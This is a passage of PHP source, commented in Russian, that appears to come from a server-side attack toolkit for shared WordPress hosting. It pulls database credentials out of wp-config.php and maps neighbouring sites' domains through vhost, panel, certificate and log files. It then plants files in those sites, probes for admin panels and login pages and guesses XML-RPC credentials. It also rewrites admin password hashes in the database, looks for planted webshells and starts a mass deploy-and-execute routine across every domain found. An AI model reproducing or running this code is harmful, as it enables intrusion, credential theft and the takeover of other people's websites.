'domain' => $domain,
'status' => 'success',
'bytes' => $written,
'url' => $full_url,
'relative_url' => isset($url_info['relative']) ? $url_info['relative'] : null,
'url_method' => isset($url_info['method']) ? $url_info['method'] : null
);
$successful++;
} else {
$deploy_results[] = array(
'target' => $target_file,
'neighbor' => $wp['neighbor'],
'source' => $wp['source'],
'domain' => $domain,
'status' => 'failed',
'error' => error_get_last() ? error_get_last()['message'] : 'Unknown error'
);
$failed++;
}
}
$results['deploy_results'] = $deploy_results;
$results['stats']['successful_deploys'] = $successful;
$results['stats']['failed_deploys'] = $failed;
$results['stats']['execution_time'] = round(microtime(true) - $start_time, 2);
return $results;
}
/**
* Комплексное определение домена для пути (улучшенная версия)
* Использует все доступные методы
*/
function derive_domain_full($path) {
$result = array(
'domain' => null,
'protocol' => 'http',
'methods_tried' => array(),
'success_method' => null
);
// Нормализуем путь
$path = rtrim($path, '/');
// Ищем WP root для этого пути
$wp_root = null;
$check = $path;
for ($i = 0; $i < 10; $i++) {
if (is_wp_root($check)) {
$wp_root = $check;
break;
}
$parent = dirname($check);
if ($parent === $check) break;
$check = $parent;
}
// МЕТОД 1: wp-config.php (WP_HOME, WP_SITEURL)
$result['methods_tried'][] = 'wp_config';
if ($wp_root) {
$urls = wp_known_urls($wp_root);
foreach ($urls as $u) {
if (preg_match('#(https?)://([^/]+)#i', $u, $m)) {
$result['domain'] = strtolower($m[2]);
$result['protocol'] = $m[1];
$result['success_method'] = 'wp_config';
return $result;
}
}
}
// МЕТОД 2: Читаем siteurl из БД
$result['methods_tried'][] = 'database';
if ($wp_root && @is_readable($wp_root . '/wp-config.php')) {
try {
$cfg = @file_get_contents($wp_root . '/wp-config.php');
if ($cfg) {
$db = array();
if (preg_match("/define\\s*\\(\\s*['\"]DB_NAME['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['name'] = $m[1];
if (preg_match("/define\\s*\\(\\s*['\"]DB_USER['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['user'] = $m[1];
if (preg_match("/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]([^']*)['\"]/i", $cfg, $m)) $db['pass'] = $m[1];
if (preg_match("/define\\s*\\(\\s*['\"]DB_HOST['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['host'] = $m[1];
if (preg_match("/\\\$table_prefix\\s*=\\s*['\"]([^'\"]+)['\"]/i", $cfg, $m)) $db['prefix'] = $m[1];
if (!empty($db['name']) && !empty($db['user']) && !empty($db['host'])) {
$host = $db['host'];
$port = 3306;
if (strpos($host, ':') !== false) {
list($host, $port) = explode(':', $host);
}
$prefix = isset($db['prefix']) ? $db['prefix'] : 'wp_';
// Отключаем выброс исключений mysqli
mysqli_report(MYSQLI_REPORT_OFF);
$conn = @new mysqli($host, $db['user'], isset($db['pass']) ? $db['pass'] : '', $db['name'], (int)$port);
if ($conn && !$conn->connect_error) {
$r = @$conn->query("SELECT option_value FROM {$prefix}options WHERE option_name IN ('siteurl','home') LIMIT 1");
if ($r && $row = $r->fetch_assoc()) {
if (preg_match('#(https?)://([^/]+)#i', $row['option_value'], $m)) {
$result['domain'] = strtolower($m[2]);
$result['protocol'] = $m[1];
$result['success_method'] = 'database';
@$conn->close();
return $result;
}
}
@$conn->close();
}
}
}
} catch (Exception $e) {
// Игнорируем ошибки БД, продолжаем с другими методами
} catch (Error $e) {
// Игнорируем ошибки БД, продолжаем с другими методами
}
}
// МЕТОД 3: .htaccess ServerName/RewriteBase
$result['methods_tried'][] = 'htaccess';
$htaccess_paths = array($path . '/.htaccess');
if ($wp_root) $htaccess_paths[] = $wp_root . '/.htaccess';
foreach ($htaccess_paths as $hf) {
if (@is_readable($hf)) {
$htc = @file_get_contents($hf);
if ($htc) {
// ServerName в htaccess
if (preg_match('/ServerName\s+([a-z0-9.-]+)/i', $htc, $m)) {
if (is_valid_domain($m[1])) {
$result['domain'] = strtolower($m[1]);
$result['success_method'] = 'htaccess';
return $result;
}
}
}
}
}
// МЕТОД 4: Apache/Nginx vhosts
$result['methods_tried'][] = 'vhosts';
$vhost_paths = array(
'/etc/apache2/sites-enabled',
'/etc/httpd/conf.d',
'/etc/nginx/sites-enabled',
'/etc/nginx/conf.d',
'/usr/local/apache/conf/vhosts',
'/usr/local/nginx/conf/vhosts'
);
foreach ($vhost_paths as $vp) {
if (@is_dir($vp)) {
$files = @scandir($vp);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$vf = $vp . '/' . $f;
if (@is_readable($vf)) {
$vc = @file_get_contents($vf);
if ($vc && strpos($vc, $path) !== false) {
// Ищем ServerName или server_name
if (preg_match('/(?:ServerName|server_name)\s+([a-z0-9.-]+)/i', $vc, $m)) {
if (is_valid_domain($m[1])) {
$result['domain'] = strtolower($m[1]);
$result['success_method'] = 'vhosts';
return $result;
}
}
}
}
}
}
}
}
// МЕТОД 5: Панель управления (cPanel, Plesk, DirectAdmin, ISPConfig)
$result['methods_tried'][] = 'panel_configs';
// cPanel userdata
if (preg_match('#/home/([^/]+)/#', $path, $m)) {
$user = $m[1];
$cpanel_main = "/var/cpanel/userdata/{$user}/main";
if (@is_readable($cpanel_main)) {
$cpd = @file_get_contents($cpanel_main);
if ($cpd && preg_match('/main_domain:\s*([a-z0-9.-]+)/i', $cpd, $m)) {
$result['domain'] = strtolower($m[1]);
$result['success_method'] = 'cpanel';
return $result;
}
}
// DirectAdmin domains
$da_domains = "/usr/local/directadmin/data/users/{$user}/domains.list";
if (@is_readable($da_domains)) {
$doms = @file($da_domains, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($doms && count($doms) > 0) {
$result['domain'] = strtolower(trim($doms[0]));
$result['success_method'] = 'directadmin';
return $result;
}
}
// ISPConfig
$isp_client = "/usr/local/ispconfig/server/lib/config.inc.php";
// Сложнее, пропускаем для скорости
}
// Plesk vhost.conf
if (preg_match('#/var/www/vhosts/([^/]+)/#', $path, $m)) {
$potential_domain = $m[1];
if (is_valid_domain($potential_domain)) {
$result['domain'] = strtolower($potential_domain);
$result['success_method'] = 'plesk_path';
return $result;
}
}
// МЕТОД 6: Структура пути (извлечение домена)
$result['methods_tried'][] = 'path_analysis';
$segments = explode('/', trim($path, '/'));
// Паттерны путей с доменами
$domain_patterns = array(
// /var/www/vhosts/domain.com/httpdocs
'#/var/www/vhosts/([^/]+)/#' => 1,
// /home/user/domains/domain.com/public_html
'#/home/[^/]+/domains/([^/]+)/#' => 1,
// /home/user/domain.com/public_html
'#/home/[^/]+/([a-z0-9][a-z0-9.-]+\.[a-z]{2,})/(?:public_html|www|htdocs|web)#i' => 1,
// /srv/www/domain.com
'#/srv/www/([^/]+)/#' => 1,
// /var/www/domain.com
'#/var/www/([a-z0-9][a-z0-9.-]+\.[a-z]{2,})/#i' => 1,
// ISPConfig /var/www/clients/clientN/webN
'#/var/www/clients/client\d+/web\d+#' => 0
);
foreach ($domain_patterns as $pattern => $group) {
if (preg_match($pattern, $path, $m) && $group > 0) {
$potential = $m[$group];
if (is_valid_domain($potential)) {
$result['domain'] = strtolower($potential);
$result['success_method'] = 'path_pattern';
return $result;
}
}
}
// Проверяем каждый сегмент пути
foreach ($segments as $seg) {
if (is_valid_domain($seg)) {
$result['domain'] = strtolower($seg);
$result['success_method'] = 'path_segment';
return $result;
}
}
// МЕТОД 7: SSL сертификаты (если есть доступ)
$result['methods_tried'][] = 'ssl_certs';
if (preg_match('#/home/([^/]+)/#', $path, $m)) {
$user = $m[1];
$ssl_paths = array(
"/home/{$user}/ssl",
"/etc/letsencrypt/live",
"/var/cpanel/ssl/installed/certs"
);
foreach ($ssl_paths as $sp) {
if (@is_dir($sp)) {
$certs = @scandir($sp);
if ($certs) {
foreach ($certs as $c) {
if ($c !== '.' && $c !== '..' && is_valid_domain($c)) {
$result['domain'] = strtolower($c);
$result['protocol'] = 'https';
$result['success_method'] = 'ssl_cert';
return $result;
}
}
}
}
}
}
// МЕТОД 8: Анализ логов доступа
$result['methods_tried'][] = 'access_logs';
$log_paths = array();
if (preg_match('#/home/([^/]+)/#', $path, $m)) {
$user = $m[1];
$log_paths = array(
"/home/{$user}/logs/access.log",
"/home/{$user}/access-logs",
"/var/log/apache2/access.log",
"/var/log/httpd/access_log"
);
}
foreach ($log_paths as $lp) {
if (@is_readable($lp)) {
// Читаем последние строки
$cmd = "tail -n 50 " . escapeshellarg($lp) . " 2>/dev/null";
$log = @shell_exec($cmd);
if ($log && preg_match('/Host:\s*([a-z0-9.-]+)/i', $log, $m)) {
if (is_valid_domain($m[1])) {
$result['domain'] = strtolower($m[1]);
$result['success_method'] = 'access_logs';
return $result;
}
}
}
}
// МЕТОД 9: Файл .user.ini или php.ini
$result['methods_tried'][] = 'php_ini';
$ini_paths = array($path . '/.user.ini', $path . '/php.ini');
if ($wp_root) {
$ini_paths[] = $wp_root . '/.user.ini';
}
foreach ($ini_paths as $ip) {
if (@is_readable($ip)) {
$ini = @file_get_contents($ip);
if ($ini && preg_match('/(?:session\.cookie_domain|mail\.domain)\s*=\s*["\']?([a-z0-9.-]+)/i', $ini, $m)) {
if (is_valid_domain($m[1])) {
$result['domain'] = strtolower($m[1]);
$result['success_method'] = 'php_ini';
return $result;
}
}
}
}
// МЕТОД 10: Имя пользователя как поддомен (последняя попытка)
$result['methods_tried'][] = 'username_guess';
if (preg_match('#/home/([a-z0-9_-]+)/#i', $path, $m)) {
$user = $m[1];
// Проверяем есть ли резолв для user.domain.tld
$server_domain = isset($_SERVER['HTTP_HOST']) ? preg_replace('/^[^.]+\./', '', $_SERVER['HTTP_HOST']) : '';
if ($server_domain && is_valid_domain($user . '.' . $server_domain)) {
$result['domain'] = $user . '.' . $server_domain;
$result['success_method'] = 'username_subdomain';
return $result;
}
}
return $result;
}
/**
* Получить полный URL из пути к файлу (улучшенная версия)
*/
function derive_url_from_path($file_path) {
$domain_info = derive_domain_full($file_path);
if (!$domain_info['domain']) {
// Fallback: возвращаем относительный путь
if (preg_match('#/home/([^/]+)/(?:public_html|www|htdocs|web|domains/[^/]+/(?:public_html|www))/(.*)#', $file_path, $m)) {
return array(
'url' => null,
'relative' => '/' . $m[2],
'domain' => null,
'method' => 'fallback_relative'
);
}
if (preg_match('#/var/www/(?:vhosts/[^/]+/(?:httpdocs|htdocs)|html)/(.*)#', $file_path, $m)) {
return array(
'url' => null,
'relative' => '/' . $m[1],
'domain' => null,
'method' => 'fallback_relative'
);
}
return array(
'url' => null,
'relative' => null,
'domain' => null,
'method' => 'failed'
);
}
// Определяем относительный путь
$relative = '';
$patterns = array(
'#/home/[^/]+/(?:public_html|www|htdocs|web)/(.*)$#',
'#/home/[^/]+/domains/[^/]+/(?:public_html|www|htdocs)/(.*)$#',
'#/var/www/vhosts/[^/]+/(?:httpdocs|htdocs)/(.*)$#',
'#/var/www/html/(.*)$#',
'#/var/www/[^/]+/(.*)$#',
'#/srv/www/[^/]+/(.*)$#'
);
foreach ($patterns as $p) {
if (preg_match($p, $file_path, $m)) {
$relative = '/' . ltrim($m[1], '/');
break;
}
}
$url = $domain_info['protocol'] . '://' . $domain_info['domain'] . $relative;
return array(
'url' => $url,
'relative' => $relative,
'domain' => $domain_info['domain'],
'protocol' => $domain_info['protocol'],
'method' => $domain_info['success_method'],
'methods_tried' => $domain_info['methods_tried']
);
}
/**
* Удаление всех деплоенных маркеров
*/
function mass_neighbor_marker_cleanup($marker_name = 'marker.txt', $deploy_results = array()) {
$cleanup_results = array();
foreach ($deploy_results as $deploy) {
if ($deploy['status'] === 'success' && !empty($deploy['target'])) {
$deleted = @unlink($deploy['target']);
$cleanup_results[] = array(
'target' => $deploy['target'],
'deleted' => $deleted
);
}
}
return $cleanup_results;
}
/**
* Быстрый скан соседей без деплоя (только разведка)
*/
function quick_neighbor_scan($max_neighbors = 100) {
return mass_neighbor_marker_deploy('', '', array(
'dry_run' => true,
'max_neighbors' => $max_neighbors
));
}
// ==================== НОВЫЕ ФУНКЦИИ ИЗ "Что нужно внедрить.txt" ====================
/**
* Обнаружение панелей управления хостингом (cPanel, Plesk, DirectAdmin и т.д.)
*/
function detect_hosting_panels() {
$panels = array();
// cPanel
$cpanel_paths = array(
'/cpanel', '/cpanel/login', '/cpanel2', '/webmail', '/whm',
'/2082', '/2083', '/2086', '/2087', '/2095', '/2096',
'/cpanel/logout', '/cpanel/forgotpwd', '/cpanel/contact'
);
// Plesk
$plesk_paths = array(
'/plesk', '/plesk-admin', '/plesk/login', '/plesk/stat',
'/8443', '/8880', '/8888', '/4643'
);
// DirectAdmin
$da_paths = array(
'/2222', '/directadmin', '/admin', '/administrator',
'/CMD_LOGIN', '/CMD_ADMIN', '/CMD_SHOW_DOMAIN'
);
// ISPConfig
$ispconfig_paths = array(
'/8080', '/:8080', '/ispserver', '/admin', '/login.php'
);
// Webmin
$webmin_paths = array(
'/10000', '/webmin', '/webmin/login', '/syslogin',
'/session_login.cgi'
);
$all_paths = array_merge($cpanel_paths, $plesk_paths, $da_paths, $ispconfig_paths, $webmin_paths);
$current_host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$protocols = array('http://', 'https://');
$detected = array();
if (!function_exists('curl_init')) {
return array('error' => 'curl not available', 'detected' => array());
}
foreach ($all_paths as $path) {
foreach ($protocols as $protocol) {
$url = $protocol . $current_host . $path;
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_NOBODY => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; Scanner)'
));
curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
if ($http_code == 200 || $http_code == 401 || $http_code == 403) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0'
));
$content = curl_exec($ch);
curl_close($ch);
$has_login_form = false;
if ($content && strpos($content, '<form') !== false) {
if (preg_match('/<form[^>]*?(login|signin|auth|password)[^>]*>/i', $content) ||
preg_match('/<input[^>]*?(password|passwd|pwd)[^>]*>/i', $content) ||
strpos($content, 'type="password"') !== false) {
$has_login_form = true;
}
}
$panel_type = 'unknown';
if ($content) {
if (strpos($content, 'cPanel') !== false || strpos($content, 'cpanel') !== false) {
$panel_type = 'cPanel';
} elseif (strpos($content, 'Plesk') !== false) {
$panel_type = 'Plesk';
} elseif (strpos($content, 'DirectAdmin') !== false) {
$panel_type = 'DirectAdmin';
} elseif (strpos($content, 'Webmin') !== false) {
$panel_type = 'Webmin';
} elseif (strpos($content, 'ISPConfig') !== false) {
$panel_type = 'ISPConfig';
}
}
$detected[] = array(
'url' => $url,
'type' => $panel_type,
'has_login_form' => $has_login_form,
'http_code' => $http_code,
'content_type' => $content_type,
'content_preview' => $content ? substr($content, 0, 500) : ''
);
}
}
}
return $detected;
}
/**
* Сканирование на стандартные страницы авторизации WordPress
*/
function scan_login_pages($base_url) {
$login_pages = array(
'/wp-login.php',
'/wp-admin',
'/admin',
'/administrator',
'/login',
'/signin',
'/auth',
'/account',
'/user/login',
'/member/login',
'/admin/login',
'/backend',
'/panel',
'/cp',
'/controlpanel'
);
$found = array();
if (!function_exists('curl_init')) {
return array('error' => 'curl not available', 'found' => array());
}
foreach ($login_pages as $page) {
$url = rtrim($base_url, '/') . $page;
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0'
));
$content = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && $content) {
$is_login_page = false;
$login_details = array();
if (strpos($content, 'wp-login.php') !== false ||
strpos($content, 'WordPress') !== false ||
preg_match('/<form[^>]*loginform[^>]*>/i', $content)) {
$is_login_page = true;
$login_details['type'] = 'WordPress';
if (preg_match('/name="wpnonce" value="([^"]+)"/', $content, $matches)) {
$login_details['wpnonce'] = $matches[1];
}
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $content, $matches)) {
$login_details['_wpnonce'] = $matches[1];
}
}
elseif (strpos($content, 'type="password"') !== false ||
preg_match('/<input[^>]*name="password"[^>]*>/i', $content) ||
preg_match('/<form[^>]*method="post"[^>]*>/i', $content)) {
$is_login_page = true;
$login_details['type'] = 'Generic';
if (preg_match_all('/<input[^>]*name="([^"]+)"[^>]*>/i', $content, $matches)) {
$login_details['form_fields'] = $matches[1];
}
}
if ($is_login_page) {
$found[] = array(
'url' => $url,
'details' => $login_details,
'http_code' => $http_code
);
}
}
}
return $found;
}
/**
* Эксплуатация уязвимостей для смены email/пароля администратора
*/
function exploit_password_reset($target_url, $attack_type = 'password_reset') {
$results = array();
if (!function_exists('curl_init')) {
return array('error' => 'curl not available');
}
if ($attack_type === 'password_reset') {
$reset_url = rtrim($target_url, '/') . '/wp-login.php?action=lostpassword';
$post_data = array(
'user_login' => 'admin',
'redirect_to' => '',
'wp-submit' => 'Get New Password'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $reset_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response && (strpos($response, 'check your email') !== false ||
strpos($response, 'password reset') !== false)) {
$results['reset_initiated'] = true;
$results['message'] = 'Password reset email sent (potentially)';
} else {
$results['reset_initiated'] = false;
$results['http_code'] = $http_code;
}
}
elseif ($attack_type === 'xmlrpc') {
$xmlrpc_url = rtrim($target_url, '/') . '/xmlrpc.php';
$xml_payload = '<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password123</string></value></param>
</params>
</methodCall>';
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $xmlrpc_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $xml_payload,
CURLOPT_HTTPHEADER => array('Content-Type: text/xml'),
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$results['xmlrpc_exists'] = ($http_code == 200);
if ($response && (strpos($response, 'isAdmin') !== false || strpos($response, 'blogName') !== false)) {
$results['xmlrpc_vulnerable'] = true;
$results['response_preview'] = substr($response, 0, 500);
} else {
$results['xmlrpc_vulnerable'] = false;
}
}
return $results;
}
/**
* Автоматическая смена пароля через базу данных (если есть доступ)
*/
function change_password_via_database($wp_root, $username, $new_password) {
$results = array('success' => false);
$db_config = db_discovery_and_exploit($wp_root);
if (!empty($db_config['connection_test']['success'])) {
$host = $db_config['db_credentials']['DB_HOST'] ?? 'localhost';
$dbname = $db_config['db_credentials']['DB_NAME'] ?? '';
$user = $db_config['db_credentials']['DB_USER'] ?? '';
$pass = $db_config['db_credentials']['DB_PASSWORD'] ?? '';
if (!$dbname || !$user) {
$results['error'] = 'Missing database credentials';
return $results;
}
try {
$conn = new mysqli($host, $user, $pass, $dbname);
if (!$conn->connect_error) {
// WordPress использует phpass, но MD5 тоже работает для старых версий
$hashed_password = '$P$B' . substr(md5($new_password . 'salt_' . time()), 0, 31);
$tables = $db_config['tables'] ?? array();
$users_table = '';
foreach ($tables as $table) {
if (preg_match('/_users$/', $table) || $table === 'users' || $table === 'wp_users') {
$users_table = $table;
break;
}
}
if (!$users_table) {
// Попробуем стандартное имя
$users_table = 'wp_users';
}
$username_escaped = $conn->real_escape_string($username);
$hashed_escaped = $conn->real_escape_string($hashed_password);
$sql = "UPDATE `{$users_table}` SET `user_pass` = '{$hashed_escaped}'
WHERE `user_login` = '{$username_escaped}' OR `user_email` = '{$username_escaped}'";
if ($conn->query($sql)) {
if ($conn->affected_rows > 0) {
$results['success'] = true;
$results['message'] = "Password changed for user: {$username}";
$results['new_password'] = $new_password;
$results['affected_rows'] = $conn->affected_rows;
} else {
$results['error'] = 'No matching user found';
}
} else {
$results['error'] = $conn->error;
}
$conn->close();
} else {
$results['error'] = 'Connection failed: ' . $conn->connect_error;
}
} catch (Exception $e) {
$results['error'] = $e->getMessage();
}
} else {
$results['error'] = 'Could not connect to database';
}
return $results;
}
/**
* Расширенное обнаружение доменов на сервере
*/
function advanced_domain_discovery() {
$domains = array();
$seen = array();
// 1. Из системных конфигов
$config_files = array(
'/etc/hosts',
'/etc/hostname',
'/etc/mailname',
'/etc/dnsmasq.conf',
'/etc/resolv.conf',
'/etc/network/interfaces',
'/etc/sysconfig/network'
);
foreach ($config_files as $file) {
if (@is_readable($file)) {
$content = @file_get_contents($file);
if ($content) {
preg_match_all('/([a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}/', $content, $matches);
foreach ($matches[0] as $domain) {
$domain = normalize_domain($domain);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
// 2. Из конфигов веб-серверов
$web_configs = array(
'/etc/apache2/sites-enabled/',
'/etc/apache2/sites-available/',
'/etc/httpd/conf/httpd.conf',
'/etc/httpd/conf.d/',
'/usr/local/apache2/conf/',
'/etc/nginx/sites-enabled/',
'/etc/nginx/sites-available/',
'/etc/nginx/conf.d/',
'/usr/local/nginx/conf/',
'/etc/lighttpd/lighttpd.conf',
'/etc/lighttpd/conf-enabled/',
'/etc/caddy/Caddyfile',
'/usr/local/lsws/conf/httpd_config.conf'
);
foreach ($web_configs as $config_path) {
if (@is_dir($config_path)) {
$files = @scandir($config_path);
if ($files) {
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$full_path = $config_path . $file;
if (@is_file($full_path) && @is_readable($full_path)) {
$content = @file_get_contents($full_path);
if ($content) {
// Apache ServerName
preg_match_all('/ServerName\s+([^\s;#]+)/i', $content, $matches);
foreach ($matches[1] as $domain) {
$domain = normalize_domain($domain);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
// Nginx server_name
preg_match_all('/server_name\s+([^;]+);/i', $content, $matches);
foreach ($matches[1] as $server_names) {
$names = preg_split('/\s+/', trim($server_names));
foreach ($names as $domain) {
$domain = normalize_domain($domain);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
}
}
} elseif (@is_file($config_path) && @is_readable($config_path)) {
$content = @file_get_contents($config_path);
if ($content) {
preg_match_all('/(?:ServerName|server_name)\s+([^\s;,#]+)/i', $content, $matches);
foreach ($matches[1] as $domain) {
$domain = normalize_domain($domain);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
// 3. Из SSL сертификатов
$ssl_paths = array(
'/etc/ssl/',
'/etc/letsencrypt/live/',
'/etc/pki/tls/certs/',
'/usr/local/ssl/certs/'
);
foreach ($ssl_paths as $ssl_path) {
if (@is_dir($ssl_path)) {
$certs = @scandir($ssl_path);
if ($certs) {
foreach ($certs as $cert) {
if ($cert === '.' || $cert === '..') continue;
$cert_path = $ssl_path . $cert;
if (@is_dir($cert_path)) {
$domain = normalize_domain($cert);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
}
// 4. Поиск в логах
$log_paths = array(
'/var/log/apache2/access.log',
'/var/log/apache2/error.log',
'/var/log/nginx/access.log',
'/var/log/nginx/error.log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log'
);
foreach ($log_paths as $log) {
if (@is_readable($log)) {
$size = @filesize($log);
if ($size && $size < 10000000) {
$content = @file_get_contents($log);
if ($content) {
preg_match_all('/Host:\s*([^\s]+)/i', $content, $matches);
foreach ($matches[1] as $host) {
$domain = normalize_domain($host);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
}
// 5. Виртуальные хосты через системные утилиты
$disabled = explode(',', ini_get('disable_functions'));
$disabled = array_map('trim', $disabled);
if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) {
$commands = array(
'apache2ctl -S 2>/dev/null',
'apachectl -S 2>/dev/null',
'httpd -S 2>/dev/null',
'nginx -T 2>/dev/null | grep server_name'
);
foreach ($commands as $cmd) {
$output = @shell_exec($cmd);
if ($output) {
preg_match_all('/(?:namevhost|server_name)\s+([^\s;#]+)/i', $output, $matches);
foreach ($matches[1] as $domain) {
$domain = normalize_domain($domain);
if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
}
}
}
// 6. Добавляем домены из существующей функции get_domains()
$existing_domains = get_domains();
foreach ($existing_domains as $domain) {
if (!isset($seen[$domain])) {
$domains[] = $domain;
$seen[$domain] = true;
}
}
// 7. Фильтруем мусорные домены (localhost, local, mysql и т.д.)
$blacklist_patterns = array('localhost', 'localdomain', 'local', 'mysql', 'wp3.xyz');
$domains = array_filter($domains, function($d) use ($blacklist_patterns) {
$d_lower = strtolower($d);
foreach ($blacklist_patterns as $pattern) {
if (strpos($d_lower, $pattern) !== false) {
return false;
}
}
return true;
});
return array_values(array_unique($domains));
}
/**
* Вспомогательная функция для проверки DNS записей
*/
function check_dns_record_ext($domain, $type = 'A') {
if (function_exists('dns_get_record')) {
$dns_type = constant('DNS_' . strtoupper($type));
if ($dns_type) {
$records = @dns_get_record($domain, $dns_type);
return !empty($records);
}
}
return false;
}
/**
* Проверка доступности URL
*/
function check_url_accessible($url) {
if (!function_exists('curl_init')) {
return false;
}
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_NOBODY => true,
CURLOPT_SSL_VERIFYPEER => false
));
curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code == 200 || $http_code == 301 || $http_code == 302;
}
/**
* Загрузка файла через PUT метод
*/
function upload_via_put($url, $file_path) {
if (!file_exists($file_path) || !function_exists('curl_init')) return false;
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_PUT => true,
CURLOPT_INFILE => fopen($file_path, 'r'),
CURLOPT_INFILESIZE => filesize($file_path),
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false
));
curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code == 200 || $http_code == 201;
}
/**
* Отправка POST запроса
*/
function send_post_request($url, $post_data) {
if (!function_exists('curl_init')) {
return false;
}
$ch = curl_init($url);
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => is_array($post_data) ? http_build_query($post_data) : $post_data,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true
));
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
/**
* Поиск существующих веб-шеллов на домене
*/
function find_existing_webshell($base_url) {
$shell_paths = array(
'/shell.php', '/c99.php', '/r57.php', '/wso.php',
'/wp-content/uploads/shell.php',
'/wp-content/plugins/shell.php',
'/wp-includes/shell.php',
'/images/shell.php',
'/tmp/shell.php',
'/cache/shell.php'
);
foreach ($shell_paths as $path) {
$url = rtrim($base_url, '/') . $path;
if (check_url_accessible($url)) {
return $url;
}
}
return null;
}
/**
* Поиск WordPress установок
*/
function find_wordpress_installations($base_paths = null) {
$wp_installations = array();
if ($base_paths === null) {
$base_paths = array(
'/var/www',
'/home',
'/srv/www',
'/usr/share/nginx/html'
);
}
foreach ($base_paths as $base) {
if (!@is_dir($base)) continue;
// Рекурсивный поиск wp-config.php
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($base, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
$iterator->setMaxDepth(5);
foreach ($iterator as $item) {
if ($item->isFile() && $item->getFilename() === 'wp-config.php') {
$wp_root = dirname($item->getPathname());
if (is_wp_root($wp_root)) {
$wp_installations[] = $wp_root;
}
}
}
}
return array_unique($wp_installations);
}
/**
* Массовый деплой и выполнение скрипта на всех найденных доменах
*/
function mass_deploy_and_execute($domains, $script_content, $method = 'curl') {
$results = array();
if (!function_exists('curl_init')) {
return array('error' => 'curl not available');
}
foreach ($domains as $domain) {
$domain_result = array('domain' => $domain, 'success' => false);
$protocols = array('https://', 'http://');
$base_url = '';
foreach ($protocols as $protocol) {
$test_url = $protocol . $domain;
